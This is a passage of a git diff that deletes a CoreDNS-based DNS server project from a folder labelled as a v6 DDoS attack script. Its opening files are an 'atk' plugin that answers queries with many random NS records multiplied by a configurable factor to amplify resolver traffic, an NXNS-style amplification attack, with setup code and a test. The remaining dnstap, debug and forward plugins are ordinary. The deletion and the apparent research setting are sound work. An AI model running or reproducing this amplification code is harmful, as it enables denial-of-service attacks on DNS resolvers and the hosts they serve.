// 向上游发送查询请求 - go func() { - _, _ = a.proxies[0].Connect(ctx, state, opt) - }() - } - return 0, nil - } else { - //权威模式 - msg := new(dns.Msg) - msg.SetReply(r) - msg.Authoritative = true - // 应对0x20 - qname := strings.ToLower(state.QName()) - // 请求的源地址 - switch a.validRequest(qname) { - case 0: - // 放大 - log.Infof("%v 查询 %v, 准备放大", state.IP(), state.Name()) - msg = a.Response(msg, 0) - - case 1: - //观察 - log.Infof("%v 接收到请求: %v ask %v", a.ip6NS, state.IP(), state.Name()) - msg = a.Response(msg, 1) - case -1: - log.Infof("%v 接收到被修改的请求(QnameMini): %v ask %v", a.ip6NS, state.IP(), state.Name()) - msg = a.Response(msg, -1) - case 2: - //其他请求不响应 - log.Infof("%v 意外查询 %v", state.IP(), state.Name()) - return 0, nil - } - - err := w.WriteMsg(msg) - if err != nil { - log.Info(err.Error()) - return dns.RcodeServerFailure, err - } - return 0, nil - } - -} - -func (a Atk) Name() string { - return "atk" -} - -func (a Atk) Response(msg *dns.Msg, iptype int) *dns.Msg { - if iptype == 0 { // 一级放大 - for i := 0; i < a.magni; i++ { - rec := new(dns.NS) - rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS} - rec.Hdr.Name = msg.Question[0].Name - ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip6 - log.Infof("生成NS: %v", ns) - rec.Ns = ns - msg.Ns = append(msg.Ns, rec) - } - } else if iptype == 1 { // 二级放大 - for i := 0; i < a.magni; i++ { - rec := new(dns.NS) - rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS} - rec.Hdr.Name = msg.Question[0].Name - ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip4 - log.Infof("生成NS: %v", ns) - rec.Ns = ns - msg.Ns = append(msg.Ns, rec) - } - } else if iptype == 2 { - //返回NXNS - msg.Rcode = dns.RcodeNameError - //授权记录 - rec := new(dns.NS) - rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS} - rec.Ns = a.ip6NS - msg.Ns = append(msg.Ns, rec) - //胶水记录 - recaddr := new(dns.AAAA) - recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA} - recaddr.AAAA = net.ParseIP(a.ip6Addr) - msg.Extra = append(msg.Extra, recaddr) - } else { - // 特殊请求,返回权威信息 - //授权记录 - rec := new(dns.NS) - rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS} - rec.Ns = a.ip6NS - msg.Ns = append(msg.Ns, rec) - //胶水记录 - recaddr := new(dns.AAAA) - recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA} - recaddr.AAAA = net.ParseIP(a.ip6Addr) - msg.Extra = append(msg.Extra, recaddr) - } - return msg -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil.go" deleted file mode 100644 index b397fb2..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil.go" +++ /dev/null @@ -1,23 +0,0 @@ -package atk - -import ( - "strings" -) - -func (a Atk) validRequest(qname string) int { - //判断是否为第一阶段目标域名(放大) - if strings.Contains(qname, a.zoneip4) { - if len(strings.Split(qname, ".")) == 5 { - //需要放大 - return 0 - } - // 请求被修改,返回权威信息 - return -1 - } - if strings.Contains(qname, a.zoneip6) { - //需要放大 - return 1 - } - // 均不满足,返回权威信息 - return 2 -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil_test.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil_test.go" deleted file mode 100644 index dfe30b0..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil_test.go" +++ /dev/null @@ -1,55 +0,0 @@ -package atk - -import "testing" - -func TestAtk_validRequest(t *testing.T) { - type fields struct { - magni int - zoneip4 string - zoneip6 string - ip6NS string - ip4NS string - ip6Addr string - ip4Addr string - } - type args struct { - qname string - } - tests := []struct { - name string - fields fields - args args - want int - }{ - {name: "test1", - fields: fields{ - magni: 10, - zoneip4: "comm.n64.top", - zoneip6: "v6.atk.top", - ip6NS: "ns.n64.top", - ip6Addr: "fe80::", - ip4Addr: "1.2.3.4", - }, - args: args{ - qname: "comm.n64.top", - }, - want: 0, - }, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - a := Atk{ - magni: tt.fields.magni, - zoneip4: tt.fields.zoneip4, - zoneip6: tt.fields.zoneip6, - ip6NS: tt.fields.ip6NS, - ip4NS: tt.fields.ip4NS, - ip6Addr: tt.fields.ip6Addr, - ip4Addr: tt.fields.ip4Addr, - } - if got := a.validRequest(tt.args.qname); got != tt.want { - t.Errorf("validRequest() = %v, want %v", got, tt.want) - } - }) - } -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/setup.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/setup.go" deleted file mode 100644 index 4446d71..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/setup.go" +++ /dev/null @@ -1,49 +0,0 @@ -package atk - -import ( - "github.com/coredns/caddy" - "ohmydns2/core/dnsserver" - "ohmydns2/plugin" - log2 "ohmydns2/plugin/pkg/log" - "ohmydns2/plugin/pkg/proxy" - "strconv" - "time" -) - -func init() { plugin.Register("atk", setup) } - -func setup(c *caddy.Controller) error { - atk := new(Atk) - c.Next() - // domain1 domain2 factor - args := c.RemainingArgs() - // fdns or adns - atk.serveType = args[0] - if atk.serveType == "fdns" { - atk.target = args[1] - p := proxy.NewProxy(atk.target+":53", "dns") - - // 开启代理连接管理 - dur, _ := time.ParseDuration("10s") - p.Start(dur) - atk.proxies = append(atk.proxies, p) - atk.magni, _ = strconv.Atoi(args[2]) - - } else { - atk.zoneip4 = args[1] - atk.ip4NS = args[2] - atk.ip4Addr = args[3] - atk.zoneip6 = args[4] - atk.ip6NS = args[5] - atk.ip6Addr = args[6] - atk.magni, _ = strconv.Atoi(args[7]) - } - - dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { - return atk - }) - - return nil -} - -var log = log2.NewWithPlugin("atk") diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/debug.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/debug.go" deleted file mode 100644 index 3bfa348..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/debug.go" +++ /dev/null @@ -1,23 +0,0 @@ -package debug - -import ( - "ohmydns2/core/dnsserver" - "ohmydns2/plugin" - - "github.com/coredns/caddy" -) - -func init() { plugin.Register("debug", setup) } - -func setup(c *caddy.Controller) error { - config := dnsserver.GetConfig(c) - - for c.Next() { - if c.NextArg() { - return plugin.Error("debug", c.ArgErr()) - } - config.Debug = true - } - - return nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/pcap.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/pcap.go" deleted file mode 100644 index 4a86aae..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/pcap.go" +++ /dev/null @@ -1,71 +0,0 @@ -package debug - -import ( - "bytes" - "fmt" - "ohmydns2/plugin/pkg/log" - - "github.com/miekg/dns" -) - -// Hexdump converts the dns message m to a hex dump Wireshark can import. -// See https://www.wireshark.org/docs/man-pages/text2pcap.html. -// This output looks like this: -// -// 00000 dc bd 01 00 00 01 00 00 00 00 00 01 07 65 78 61 -// 000010 6d 70 6c 65 05 6c 6f 63 61 6c 00 00 01 00 01 00 -// 000020 00 29 10 00 00 00 80 00 00 00 -// 00002a -// -// Hexdump will use log.Debug to write the dump to the log, each line -// is prefixed with 'debug: ' so the data can be easily extracted. -// -// msg will prefix the pcap dump. -func Hexdump(m *dns.Msg, v ...interface{}) { - if !log.D.Value() { - return - } - - buf, _ := m.Pack() - if len(buf) == 0 { - return - } - - out := "\n" + string(hexdump(buf)) - v = append(v, out) - log.Debug(v...) -} - -// Hexdumpf dumps a DNS message as Hexdump, but allows a format string. -func Hexdumpf(m *dns.Msg, format string, v ...interface{}) { - if !log.D.Value() { - return - } - - buf, _ := m.Pack() - if len(buf) == 0 { - return - } - - format += "\n%s" - v = append(v, hexdump(buf)) - log.Debugf(format, v...) -} - -func hexdump(data []byte) []byte { - b := new(bytes.Buffer) - - newline := "" - for i := 0; i < len(data); i++ { - if i%16 == 0 { - fmt.Fprintf(b, "%s%s%06x", newline, prefix, i) - newline = "\n" - } - fmt.Fprintf(b, " %02x", data[i]) - } - fmt.Fprintf(b, "\n%s%06x", prefix, len(data)) - - return b.Bytes() -} - -const prefix = "debug: " diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/dnstap.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/dnstap.go" deleted file mode 100644 index c3598bc..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/dnstap.go" +++ /dev/null @@ -1,60 +0,0 @@ -package dnstap - -import ( - "context" - "ohmydns2/plugin" - "ohmydns2/plugin/dnstap/msg" - "time" - - tap "github.com/dnstap/golang-dnstap" - "github.com/miekg/dns" -) - -// Dnstap is the dnstap handler. -type Dnstap struct { - Next plugin.Handler - io tapper - - // IncludeRawMessage will include the raw DNS message into the dnstap messages if true. - IncludeRawMessage bool - Identity []byte - Version []byte -} - -// TapMessage sends the message m to the dnstap interface. -func (h Dnstap) TapMessage(m *tap.Message) { - t := tap.Dnstap_MESSAGE - h.io.Dnstap(&tap.Dnstap{Type: &t, Message: m, Identity: h.Identity, Version: h.Version}) -} - -func (h Dnstap) tapQuery(w dns.ResponseWriter, query *dns.Msg, queryTime time.Time) { - q := new(tap.Message) - msg.SetQueryTime(q, queryTime) - msg.SetQueryAddress(q, w.RemoteAddr()) - - if h.IncludeRawMessage { - buf, _ := query.Pack() - q.QueryMessage = buf - } - msg.SetType(q, tap.Message_CLIENT_QUERY) - h.TapMessage(q) -} - -// ServeDNS logs the client query and response to dnstap and passes the dnstap Context. -func (h Dnstap) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { - rw := &ResponseWriter{ - ResponseWriter: w, - Dnstap: h, - query: r, - queryTime: time.Now(), - } - - // The query tap message should be sent before sending the query to the - // forwarder. Otherwise, the tap messages will come out out of order. - h.tapQuery(w, r, rw.queryTime) - - return plugin.NextOrFailure(h.Name(), h.Next, ctx, rw, r) -} - -// Name implements the plugin.Plugin interface. -func (h Dnstap) Name() string { return "dnstap" } diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/encoder.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/encoder.go" deleted file mode 100644 index 93d3e73..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/encoder.go" +++ /dev/null @@ -1,40 +0,0 @@ -package dnstap - -import ( - "io" - "time" - - tap "github.com/dnstap/golang-dnstap" - fs "github.com/farsightsec/golang-framestream" - "google.golang.org/protobuf/proto" -) - -// encoder wraps a golang-framestream.Encoder. -type encoder struct { - fs *fs.Encoder -} - -func newEncoder(w io.Writer, timeout time.Duration) (*encoder, error) { - fs, err := fs.NewEncoder(w, &fs.EncoderOptions{ - ContentType: []byte("protobuf:dnstap.Dnstap"), - Bidirectional: true, - Timeout: timeout, - }) - if err != nil { - return nil, err - } - return &encoder{fs}, nil -} - -func (e *encoder) writeMsg(msg *tap.Dnstap) error { - buf, err := proto.Marshal(msg) - if err != nil { - return err - } - - _, err = e.fs.Write(buf) // n < len(buf) should return an error? - return err -} - -func (e *encoder) flush() error { return e.fs.Flush() } -func (e *encoder) close() error { return e.fs.Close() } diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/io.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/io.go" deleted file mode 100644 index 94833ad..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/io.go" +++ /dev/null @@ -1,143 +0,0 @@ -package dnstap - -import ( - "crypto/tls" - "net" - "sync/atomic" - "time" - - tap "github.com/dnstap/golang-dnstap" -) - -// tapper interface is used in testing to mock the Dnstap method. -type tapper interface { - Dnstap(*tap.Dnstap) -} - -// dio implements the Tapper interface. -type dio struct { - endpoint string - proto string - enc *encoder - queue chan *tap.Dnstap - dropped uint32 - quit chan struct{} - flushTimeout time.Duration - tcpTimeout time.Duration - skipVerify bool -} - -// newIO returns a new and initialized pointer to a dio. -func newIO(proto, endpoint string) *dio { - return &dio{ - endpoint: endpoint, - proto: proto, - queue: make(chan *tap.Dnstap, queueSize), - quit: make(chan struct{}), - flushTimeout: flushTimeout, - tcpTimeout: tcpTimeout, - skipVerify: skipVerify, - } -} - -func (d *dio) dial() error { - var conn net.Conn - var err error - - if d.proto == "tls" { - config := &tls.Config{ - InsecureSkipVerify: d.skipVerify, - } - dialer := &net.Dialer{ - Timeout: d.tcpTimeout, - } - conn, err = tls.DialWithDialer(dialer, "tcp", d.endpoint, config) - if err != nil { - return err - } - } else { - conn, err = net.DialTimeout(d.proto, d.endpoint, d.tcpTimeout) - if err != nil { - return err - } - } - - if tcpConn, ok := conn.(*net.TCPConn); ok { - tcpConn.SetWriteBuffer(tcpWriteBufSize) - tcpConn.SetNoDelay(false) - } - - d.enc, err = newEncoder(conn, d.tcpTimeout) - return err -} - -// Connect connects to the dnstap endpoint. -func (d *dio) connect() error { - err := d.dial() - go d.serve() - return err -} - -// Dnstap enqueues the payload for log. -func (d *dio) Dnstap(payload *tap.Dnstap) { - select { - case d.queue <- payload: - default: - atomic.AddUint32(&d.dropped, 1) - } -} - -// close waits until the I/O routine is finished to return. -func (d *dio) close() { close(d.quit) } - -func (d *dio) write(payload *tap.Dnstap) error { - if d.enc == nil { - atomic.AddUint32(&d.dropped, 1) - return nil - } - if err := d.enc.writeMsg(payload); err != nil { - atomic.AddUint32(&d.dropped, 1) - return err - } - return nil -} - -func (d *dio) serve() { - timeout := time.NewTimer(d.flushTimeout) - defer timeout.Stop() - for { - timeout.Reset(d.flushTimeout) - select { - case <-d.quit: - if d.enc == nil { - return - } - d.enc.flush() - d.enc.close() - return - case payload := <-d.queue: - if err := d.write(payload); err != nil { - d.dial() - } - case <-timeout.C: - if dropped := atomic.SwapUint32(&d.dropped, 0); dropped > 0 { - log.Warningf("Dropped dnstap messages: %d", dropped) - } - if d.enc == nil { - d.dial() - } else { - d.enc.flush() - } - } - } -} - -const ( - tcpWriteBufSize = 1024 * 1024 // there is no good explanation for why this number has this value. - queueSize = 10000 // idem. - - tcpTimeout = 4 * time.Second - flushTimeout = 1 * time.Second - - skipVerify = false // by default, every tls connection is verified to be secure -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/msg/msg.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/msg/msg.go" deleted file mode 100644 index f9d84c4..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/msg/msg.go" +++ /dev/null @@ -1,97 +0,0 @@ -package msg - -import ( - "fmt" - "net" - "time" - - tap "github.com/dnstap/golang-dnstap" -) - -var ( - protoUDP = tap.SocketProtocol_UDP - protoTCP = tap.SocketProtocol_TCP - familyINET = tap.SocketFamily_INET - familyINET6 = tap.SocketFamily_INET6 -) - -// SetQueryAddress adds the query address to the message. This also sets the SocketFamily and SocketProtocol. -func SetQueryAddress(t *tap.Message, addr net.Addr) error { - t.SocketFamily = &familyINET - switch a := addr.(type) { - case *net.TCPAddr: - t.SocketProtocol = &protoTCP - t.QueryAddress = a.IP - - p := uint32(a.Port) - t.QueryPort = &p - - if a.IP.To4() == nil { - t.SocketFamily = &familyINET6 - } - return nil - case *net.UDPAddr: - t.SocketProtocol = &protoUDP - t.QueryAddress = a.IP - - p := uint32(a.Port) - t.QueryPort = &p - - if a.IP.To4() == nil { - t.SocketFamily = &familyINET6 - } - return nil - default: - return fmt.Errorf("unknown address type: %T", a) - } -} - -// SetResponseAddress the response address to the message. This also sets the SocketFamily and SocketProtocol. -func SetResponseAddress(t *tap.Message, addr net.Addr) error { - t.SocketFamily = &familyINET - switch a := addr.(type) { - case *net.TCPAddr: - t.SocketProtocol = &protoTCP - t.ResponseAddress = a.IP - - p := uint32(a.Port) - t.ResponsePort = &p - - if a.IP.To4() == nil { - t.SocketFamily = &familyINET6 - } - return nil - case *net.UDPAddr: - t.SocketProtocol = &protoUDP - t.ResponseAddress = a.IP - - p := uint32(a.Port) - t.ResponsePort = &p - - if a.IP.To4() == nil { - t.SocketFamily = &familyINET6 - } - return nil - default: - return fmt.Errorf("unknown address type: %T", a) - } -} - -// SetQueryTime sets the time of the query in t. -func SetQueryTime(t *tap.Message, ti time.Time) { - qts := uint64(ti.Unix()) - qtn := uint32(ti.Nanosecond()) - t.QueryTimeSec = &qts - t.QueryTimeNsec = &qtn -} - -// SetResponseTime sets the time of the response in t. -func SetResponseTime(t *tap.Message, ti time.Time) { - rts := uint64(ti.Unix()) - rtn := uint32(ti.Nanosecond()) - t.ResponseTimeSec = &rts - t.ResponseTimeNsec = &rtn -} - -// SetType sets the type in t. -func SetType(t *tap.Message, typ tap.Message_Type) { t.Type = &typ } diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/setup.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/setup.go" deleted file mode 100644 index 6e81ac1..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/setup.go" +++ /dev/null @@ -1,131 +0,0 @@ -package dnstap - -import ( - "net/url" - "ohmydns2/core/dnsserver" - "ohmydns2/plugin" - olog "ohmydns2/plugin/pkg/log" - "os" - "strings" - - "github.com/coredns/caddy" -) - -var log = olog.NewWithPlugin("dnstap") - -func init() { plugin.Register("dnstap", setup) } - -func parseConfig(c *caddy.Controller) ([]*Dnstap, error) { - dnstaps := []*Dnstap{} - - for c.Next() { // directive name - d := Dnstap{} - endpoint := "" - - args := c.RemainingArgs() - - if len(args) == 0 { - return nil, c.ArgErr() - } - - endpoint = args[0] - - var dio *dio - if strings.HasPrefix(endpoint, "tls://") { - // remote network endpoint - endpointURL, err := url.Parse(endpoint) - if err != nil { - return nil, c.ArgErr() - } - dio = newIO("tls", endpointURL.Host) - d = Dnstap{io: dio} - } else if strings.HasPrefix(endpoint, "tcp://") { - // remote network endpoint - endpointURL, err := url.Parse(endpoint) - if err != nil { - return nil, c.ArgErr() - } - dio = newIO("tcp", endpointURL.Host) - d = Dnstap{io: dio} - } else { - endpoint = strings.TrimPrefix(endpoint, "unix://") - dio = newIO("unix", endpoint) - d = Dnstap{io: dio} - } - - d.IncludeRawMessage = len(args) == 2 && args[1] == "full" - - hostname, _ := os.Hostname() - d.Identity = []byte(hostname) - d.Version = []byte(caddy.AppName + "-" + caddy.AppVersion) - - for c.NextBlock() { - switch c.Val() { - case "skipverify": - { - dio.skipVerify = true - } - case "identity": - { - if !c.NextArg() { - return nil, c.ArgErr() - } - d.Identity = []byte(c.Val()) - } - case "version": - { - if !c.NextArg() { - return nil, c.ArgErr() - } - d.Version = []byte(c.Val()) - } - } - } - dnstaps = append(dnstaps, &d) - } - return dnstaps, nil -} - -func setup(c *caddy.Controller) error { - dnstaps, err := parseConfig(c) - if err != nil { - return plugin.Error("dnstap", err) - } - - for i := range dnstaps { - dnstap := dnstaps[i] - c.OnStartup(func() error { - if err := dnstap.io.(*dio).connect(); err != nil { - log.Errorf("No connection to dnstap endpoint: %s", err) - } - return nil - }) - - c.OnRestart(func() error { - dnstap.io.(*dio).close() - return nil - }) - - c.OnFinalShutdown(func() error { - dnstap.io.(*dio).close() - return nil - }) - - if i == len(dnstaps)-1 { - // last dnstap plugin in block: point next to next plugin - dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { - dnstap.Next = next - return dnstap - }) - } else { - // not last dnstap plugin in block: point next to next dnstap - nextDnstap := dnstaps[i+1] - dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler { - dnstap.Next = nextDnstap - return dnstap - }) - } - } - - return nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/writer.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/writer.go" deleted file mode 100644 index 9278fcc..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/writer.go" +++ /dev/null @@ -1,39 +0,0 @@ -package dnstap - -import ( - "ohmydns2/plugin/dnstap/msg" - "time" - - tap "github.com/dnstap/golang-dnstap" - "github.com/miekg/dns" -) - -// ResponseWriter captures the client response and logs the query to dnstap. -type ResponseWriter struct { - queryTime time.Time - query *dns.Msg - dns.ResponseWriter - Dnstap -} - -// WriteMsg writes back the response to the client and THEN works on logging the request and response to dnstap. -func (w *ResponseWriter) WriteMsg(resp *dns.Msg) error { - err := w.ResponseWriter.WriteMsg(resp) - if err != nil { - return err - } - - r := new(tap.Message) - msg.SetQueryTime(r, w.queryTime) - msg.SetResponseTime(r, time.Now()) - msg.SetQueryAddress(r, w.RemoteAddr()) - - if w.IncludeRawMessage { - buf, _ := resp.Pack() - r.ResponseMessage = buf - } - - msg.SetType(r, tap.Message_CLIENT_RESPONSE) - w.TapMessage(r) - return nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/dnstap.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/dnstap.go" deleted file mode 100644 index 3cfdc59..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/dnstap.go" +++ /dev/null @@ -1,64 +0,0 @@ -package forward - -import ( - "net" - "ohmydns2/plugin/dnstap/msg" - "ohmydns2/plugin/pkg/proxy" - "ohmydns2/plugin/pkg/request" - "strconv" - "time" - - tap "github.com/dnstap/golang-dnstap" - "github.com/miekg/dns" -) - -// toDnstap will send the forward and received message to the dnstap plugin. -func toDnstap(f *Forward, host string, state request.Request, opts proxy.Options, reply *dns.Msg, start time.Time) { - h, p, _ := net.SplitHostPort(host) // this is preparsed and can't err here - port, _ := strconv.ParseUint(p, 10, 32) // same here - ip := net.ParseIP(h) - - var ta net.Addr = &net.UDPAddr{IP: ip, Port: int(port)} - t := state.Proto() - switch { - case opts.ForceTCP: - t = "tcp" - case opts.PreferUDP: - t = "udp" - } - - if t == "tcp" { - ta = &net.TCPAddr{IP: ip, Port: int(port)} - } - - for _, t := range f.tapPlugins { - // Query - q := new(tap.Message) - msg.SetQueryTime(q, start) - // Forwarder dnstap messages are from the perspective of the downstream server - // (upstream is the forward server) - msg.SetQueryAddress(q, state.W.RemoteAddr()) - msg.SetResponseAddress(q, ta) - if t.IncludeRawMessage { - buf, _ := state.Req.Pack() - q.QueryMessage = buf - } - msg.SetType(q, tap.Message_FORWARDER_QUERY) - t.TapMessage(q) - - // Response - if reply != nil { - r := new(tap.Message) - if t.IncludeRawMessage { - buf, _ := reply.Pack() - r.ResponseMessage = buf - } - msg.SetQueryTime(r, start) - msg.SetQueryAddress(r, state.W.RemoteAddr()) - msg.SetResponseAddress(r, ta) - msg.SetResponseTime(r, time.Now()) - msg.SetType(r, tap.Message_FORWARDER_RESPONSE) - t.TapMessage(r) - } - } -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/forward.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/forward.go" deleted file mode 100644 index 0355988..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/forward.go" +++ /dev/null @@ -1,250 +0,0 @@ -package forward - -import ( - "context" - "crypto/tls" - "errors" - ot "github.com/opentracing/opentracing-go" - otext "github.com/opentracing/opentracing-go/ext" - "ohmydns2/plugin" - "ohmydns2/plugin/debug" - "ohmydns2/plugin/dnstap" - "ohmydns2/plugin/metadata" - "ohmydns2/plugin/pkg/proxy" - "ohmydns2/plugin/pkg/request" - "sync/atomic" - "time" - - "github.com/miekg/dns" -) - -var defaultTimeout = 5 * time.Second - -// Forward represents a plugin instance that can proxy requests to another (DNS) server. It has a list -// of proxies each representing one upstream proxy. -type Forward struct { - concurrent int64 // atomic counters need to be first in struct for proper alignment - - proxies []*proxy.Proxy - p Policy - hcInterval time.Duration - - from string - ignored []string - - tlsConfig *tls.Config - tlsServerName string - maxfails uint32 - expire time.Duration - maxConcurrent int64 - - opts proxy.Options // also here for testing - - // ErrLimitExceeded indicates that a query was rejected because the number of concurrent queries has exceeded - // the maximum allowed (maxConcurrent) - ErrLimitExceeded error - - tapPlugins []*dnstap.Dnstap // when dnstap plugins are loaded, we use to this to send messages out. - - Next plugin.Handler -} - -// New returns a new Forward. -func New() *Forward { - f := &Forward{maxfails: 2, tlsConfig: new(tls.Config), expire: defaultExpire, p: new(random), from: ".", hcInterval: hcInterval, opts: proxy.Options{ForceTCP: false, PreferUDP: false, HCRecursionDesired: true, HCDomain: "."}} - return f -} - -// SetProxy appends p to the proxy list and starts healthchecking. -func (f *Forward) SetProxy(p *proxy.Proxy) { - f.proxies = append(f.proxies, p) - p.Start(f.hcInterval) -} - -// SetTapPlugin appends one or more dnstap plugins to the tap plugin list. -func (f *Forward) SetTapPlugin(tapPlugin *dnstap.Dnstap) { - f.tapPlugins = append(f.tapPlugins, tapPlugin) - if nextPlugin, ok := tapPlugin.Next.(*dnstap.Dnstap); ok { - f.SetTapPlugin(nextPlugin) - } -} - -// Len returns the number of configured proxies. -func (f *Forward) Len() int { return len(f.proxies) } - -// Name implements plugin.Handler. -func (f *Forward) Name() string { return "forward" } - -// ServeDNS implements plugin.Handler. -func (f *Forward) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { - state := request.Request{W: w, Req: r} - if !f.match(state) { - return plugin.NextOrFailure(f.Name(), f.Next, ctx, w, r) - } - - if f.maxConcurrent > 0 { - count := atomic.AddInt64(&(f.concurrent), 1) - defer atomic.AddInt64(&(f.concurrent), -1) - if count > f.maxConcurrent { - MaxConcurrentRejectCount.Add(1) - return dns.RcodeRefused, f.ErrLimitExceeded - } - } - - fails := 0 - var span, child ot.Span - var upstreamErr error - span = ot.SpanFromContext(ctx) - i := 0 - list := f.List() - deadline := time.Now().Add(defaultTimeout) - start := time.Now() - for time.Now().Before(deadline) { - if i >= len(list) { - // reached the end of list, reset to begin - i = 0 - fails = 0 - } - - pProxy := list[i] - i++ - if pProxy.Down(f.maxfails) { - fails++ - if fails < len(f.proxies) { - continue - } - // All upstream proxies are dead, assume healthcheck is completely broken and randomly - // select an upstream to connect to. - r := new(random) - pProxy = 